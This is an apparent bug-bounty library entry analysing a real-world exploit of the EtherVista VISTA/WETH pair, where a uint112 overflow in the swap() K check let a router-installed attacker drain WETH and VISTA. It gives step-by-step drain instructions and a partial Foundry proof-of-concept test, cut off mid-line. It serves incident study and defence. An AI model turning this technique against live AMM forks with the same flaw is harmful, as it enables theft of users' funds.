# EtherVista: uint112 K-check overflow drains VISTA/WETH pair

EtherVistaPair.swap() multiplied two uint112 reserves in Solidity 0.5.16, wrapping the K check modulo 2^112, letting a router-installed attacker drain 7.48 WETH and 43,855 VISTA.

- Payout: Real-world hack
- Severity: critical
- Program: EtherVista
- Analysis by: DeFiHackLabs
- Disclosed: 2026-10-09
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-10/EtherVista_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261009-ethervista
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained technique:source-review vuln:accounting-error vuln:business-logic

**Target:** EtherVistaPair AMM swap() K invariant check
**Root cause:** In Solidity 0.5.16 the product of two uint112 reserves is itself uint112 and wraps mod 2^112, so `balance0 * balance1 >= reserve0 * reserve1` compares against a wrapped, much smaller value when reserves multiply above 2^112 (~2^141 here). Uniswap V2 widens to uint256 first.
**Steps:**
1. Fork at block 26152249, one block before setRouter tx 0xc97ad886…cc7a.
2. Deploy a fresh router contract; `vm.prank(routerSetter)` call `FACTORY.setRouter(address(router))` to install it (routerSetter 0xCA90…c7cB is the long-standing admin).
3. EOA transfers 1 wei VISTA to the router; router forwards it into the pair.
4. Router calls `pair.swap(amount0Out = reserve0 - ceil(wrappedK/(reserve1+1)), 0, router, "")` pulling 21.365578479614736555 WETH; wrapped K check passes while true uint256 product falls.
5. Router returns 9.026956903960976779 WETH to the pair and calls `sync()`.
6. Router pays 4.860669107788601981 WETH and swaps out 43,855.902196275763910452 VISTA to the EOA.
7. Router forwards leftover 7.477952467865157795 WETH to the EOA.
**How found:** Reading the published pair source (pragma 0.5.16) and noticing `reserve0 * reserve1` is computed in uint112 rather than widened to uint256 as Uniswap V2 does; reserves ~2^141 exceed 2^112 so the product wraps.
**Exploitation:** Attacker needed the routerSetter role to point factory.router() at their contract (setRouter at block 26152250). With the router installed, a 1 wei VISTA seed plus a swap whose output is computed from the wrapped uint112 product drained 21.36 WETH; a donation+sync rewrote reserves, then a second swap extracted 43,855 VISTA. Net 7.477952467865157795 WETH and 43,855.902196275763910451 VISTA out of the pair; attacker later sold 7.46802069 ETH for 18,590.71646 USDC (~$18.6K) and burned the VISTA.
**Escalation:** Chained privileged setRouter (compromised/cooperating routerSetter) with the arithmetic overflow to bypass the K invariant and drain the pool in two swaps.
**Insight:** On pre-0.8 Solidity AMM forks, check whether the K invariant multiplies uint112 reserves directly instead of casting to uint256 — any pool whose reserve product exceeds 2^112 is drainable via a single swap whose output is derived from the wrapped value.

## Proof of concept (copied exactly from the original report)

**Foundry PoC of wrapped-K swap drain**

```
function testExploit() public {
        assertEq(PAIR.token0(), address(WETH), "token0 is WETH");
        assertEq(PAIR.token1(), address(VISTA), "token1 is VISTA");
        assertEq(FACTORY.router(), PREVIOUS_ROUTER, "fork is before setRouter");
        assertEq(FACTORY.routerSetter(), ROUTER_SETTER, "routerSetter is the long-standing admin");

        // Trust assumption, repeated on the fork: routerSetter has held this role since 2024 and sent
        // setRouter in tx 0xc97ad886…cc7a at block 26152250. The attacker EOA cannot call setRouter.
        vm.prank(ROUTER_SETTER);
        FACTORY.setRouter(address(router));
        assertEq(FACTORY.router(), address(router), "reconstructed router is installed");

        (uint256 wethOut, uint256 minBal0, uint112 r0, uint112 r1) = _swap1Out();
        assertEq(wethOut, 21_365_578_479_614_736_555, "wrapped-K output matches the trace");
        assertEq(wethOut - DONATE - WETH_IN_2, NET_WETH, "leftover WETH is the trace payout");

        uint256 eoaWethBefore = WETH.balanceOf(ATTACKER);
        uint256 eoaVistaBefore = VISTA.balanceOf(ATTACKER);
        uint256 pairWethBefore = WETH.balanceOf(address(PAIR));
        uint256 pairVistaBefore = VISTA.balanceOf(address(PAIR));

        // Approval-free: the EOA already holds VISTA from its earlier buy and sends 1 wei to the new router.
        vm.prank(ATTACKER);
        require(VISTA.transfer(address(router), 1), "seed");

        // Same recipients as tx 0xb2c7332d…64930. The reconstructed router is msg.sender throughout.
        router.seedPair(VISTA, address(PAIR));
        router.swapWeth(PAIR, wethOut);

        (uint112 mid0, uint112 mid1,) = PAIR.getReserves();
        assertEq(uint256(mid0), minBal0, "swap 1 leaves the minimum WETH reserve");
        assertEq(uint256(mid1), uint256(r1) + 1, "swap 1 pulls exactly 1 wei of VISTA");
        assertLt(uint256(mid0) * uint256(mid1), uint256(r0) * uint256(r1), "swap 1 lowered the real product");

        router.donateAndSync(WETH, PAIR, DONATE);
        (uint112 synced0,,) = PAIR.getReserves();
        assertEq(uint256(synced0), minBal0 + DONATE, "sync st
```

